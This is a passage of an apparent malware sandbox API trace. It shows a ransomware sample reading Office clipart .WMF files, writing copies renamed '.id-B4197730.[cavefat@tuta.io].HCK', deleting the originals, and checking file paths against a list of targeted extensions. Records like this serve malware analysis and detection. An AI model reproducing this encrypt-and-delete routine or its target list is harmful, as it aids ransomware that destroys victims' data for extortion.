nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x704e, lpOverlapped=0x0) returned 1 [0180.477] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7050, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7050, lpOverlapped=0x0) returned 1 [0180.479] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.479] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.479] SetEndOfFile (hFile=0x2fc) returned 1 [0180.481] CloseHandle (hObject=0x2fc) returned 1 [0180.484] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.484] SetEndOfFile (hFile=0x3a4) returned 1 [0180.486] CloseHandle (hObject=0x3a4) returned 1 [0180.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00416_.wmf")) returned 1 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.487] lstrlenW (lpString=".doc") returned 4 [0180.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".docx") returned 5 [0180.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.488] lstrlenW (lpString=".pdf") returned 4 [0180.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".xls") returned 4 [0180.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.488] lstrlenW (lpString=".xlsx") returned 5 [0180.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.488] lstrlenW (lpString=".ppt") returned 4 [0180.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.488] lstrlenW (lpString=".zip") returned 4 [0180.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.488] lstrlenW (lpString=".rar") returned 4 [0180.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".bz2") returned 4 [0180.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".7z") returned 3 [0180.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.488] lstrlenW (lpString=".dbf") returned 4 [0180.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.488] lstrlenW (lpString=".1cd") returned 4 [0180.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.488] lstrlenW (lpString=".jpg") returned 4 [0180.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.488] lstrlenW (lpString=".doc") returned 4 [0180.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".docx") returned 5 [0180.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.488] lstrlenW (lpString=".pdf") returned 4 [0180.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".xls") returned 4 [0180.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.488] lstrlenW (lpString=".xlsx") returned 5 [0180.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.488] lstrlenW (lpString=".ppt") returned 4 [0180.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.488] lstrlenW (lpString=".zip") returned 4 [0180.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.488] lstrlenW (lpString=".rar") returned 4 [0180.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".bz2") returned 4 [0180.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.488] lstrlenW (lpString=".7z") returned 3 [0180.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.489] lstrlenW (lpString=".dbf") returned 4 [0180.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.489] lstrlenW (lpString=".1cd") returned 4 [0180.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00416_.WMF") returned 68 [0180.489] lstrlenW (lpString=".jpg") returned 4 [0180.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.489] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.489] lstrlenW (lpString="SO00453_.WMF") returned 12 [0180.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.493] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23020) returned 1 [0180.493] CloseHandle (hObject=0x368) returned 1 [0180.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf")) returned 0x220 [0180.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.501] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.501] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.504] GetLastError () returned 0x0 [0180.504] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x59ec, lpOverlapped=0x0) returned 1 [0180.508] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x59f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x59f0, lpOverlapped=0x0) returned 1 [0180.508] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.508] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.509] SetEndOfFile (hFile=0x2fc) returned 1 [0180.512] CloseHandle (hObject=0x2fc) returned 1 [0180.513] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.513] SetEndOfFile (hFile=0x370) returned 1 [0180.515] CloseHandle (hObject=0x370) returned 1 [0180.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00453_.wmf")) returned 1 [0180.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.516] lstrlenW (lpString=".doc") returned 4 [0180.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.516] lstrlenW (lpString=".docx") returned 5 [0180.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.516] lstrlenW (lpString=".pdf") returned 4 [0180.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.516] lstrlenW (lpString=".xls") returned 4 [0180.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.516] lstrlenW (lpString=".xlsx") returned 5 [0180.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.516] lstrlenW (lpString=".ppt") returned 4 [0180.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.516] lstrlenW (lpString=".zip") returned 4 [0180.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.517] lstrlenW (lpString=".rar") returned 4 [0180.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString=".bz2") returned 4 [0180.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString=".7z") returned 3 [0180.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".dbf") returned 4 [0180.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".1cd") returned 4 [0180.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".jpg") returned 4 [0180.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".doc") returned 4 [0180.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString=".docx") returned 5 [0180.517] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.517] lstrlenW (lpString=".pdf") returned 4 [0180.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString=".xls") returned 4 [0180.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.517] lstrlenW (lpString=".xlsx") returned 5 [0180.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.517] lstrlenW (lpString=".ppt") returned 4 [0180.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".zip") returned 4 [0180.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.517] lstrlenW (lpString=".rar") returned 4 [0180.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString=".bz2") returned 4 [0180.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString=".7z") returned 3 [0180.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".dbf") returned 4 [0180.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".1cd") returned 4 [0180.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00453_.WMF") returned 68 [0180.517] lstrlenW (lpString=".jpg") returned 4 [0180.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.518] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.518] lstrlenW (lpString="SO00479_.WMF") returned 12 [0180.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.520] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=23304) returned 1 [0180.520] CloseHandle (hObject=0x3a4) returned 1 [0180.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf")) returned 0x220 [0180.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.527] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.527] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.533] GetLastError () returned 0x0 [0180.533] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5b08, lpOverlapped=0x0) returned 1 [0180.536] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5b10, lpOverlapped=0x0) returned 1 [0180.537] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.538] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.538] SetEndOfFile (hFile=0x39c) returned 1 [0180.539] CloseHandle (hObject=0x39c) returned 1 [0180.540] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.540] SetEndOfFile (hFile=0x2fc) returned 1 [0180.541] CloseHandle (hObject=0x2fc) returned 1 [0180.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf")) returned 1 [0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.544] lstrlenW (lpString=".doc") returned 4 [0180.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.544] lstrlenW (lpString=".docx") returned 5 [0180.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.544] lstrlenW (lpString=".pdf") returned 4 [0180.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.544] lstrlenW (lpString=".xls") returned 4 [0180.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.544] lstrlenW (lpString=".xlsx") returned 5 [0180.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.544] lstrlenW (lpString=".ppt") returned 4 [0180.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.544] lstrlenW (lpString=".zip") returned 4 [0180.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.544] lstrlenW (lpString=".rar") returned 4 [0180.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.544] lstrlenW (lpString=".bz2") returned 4 [0180.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString=".7z") returned 3 [0180.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".dbf") returned 4 [0180.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".1cd") returned 4 [0180.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".jpg") returned 4 [0180.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".doc") returned 4 [0180.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString=".docx") returned 5 [0180.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.545] lstrlenW (lpString=".pdf") returned 4 [0180.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString=".xls") returned 4 [0180.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.545] lstrlenW (lpString=".xlsx") returned 5 [0180.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.545] lstrlenW (lpString=".ppt") returned 4 [0180.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".zip") returned 4 [0180.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.545] lstrlenW (lpString=".rar") returned 4 [0180.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString=".bz2") returned 4 [0180.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString=".7z") returned 3 [0180.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".dbf") returned 4 [0180.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".1cd") returned 4 [0180.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 68 [0180.545] lstrlenW (lpString=".jpg") returned 4 [0180.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.545] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.545] lstrlenW (lpString="SO00555_.WMF") returned 12 [0180.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.550] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9730) returned 1 [0180.550] CloseHandle (hObject=0x368) returned 1 [0180.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf")) returned 0x220 [0180.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.556] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.556] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00555_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00555_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.559] GetLastError () returned 0x0 [0180.559] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2602, lpOverlapped=0x0) returned 1 [0180.561] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2610, 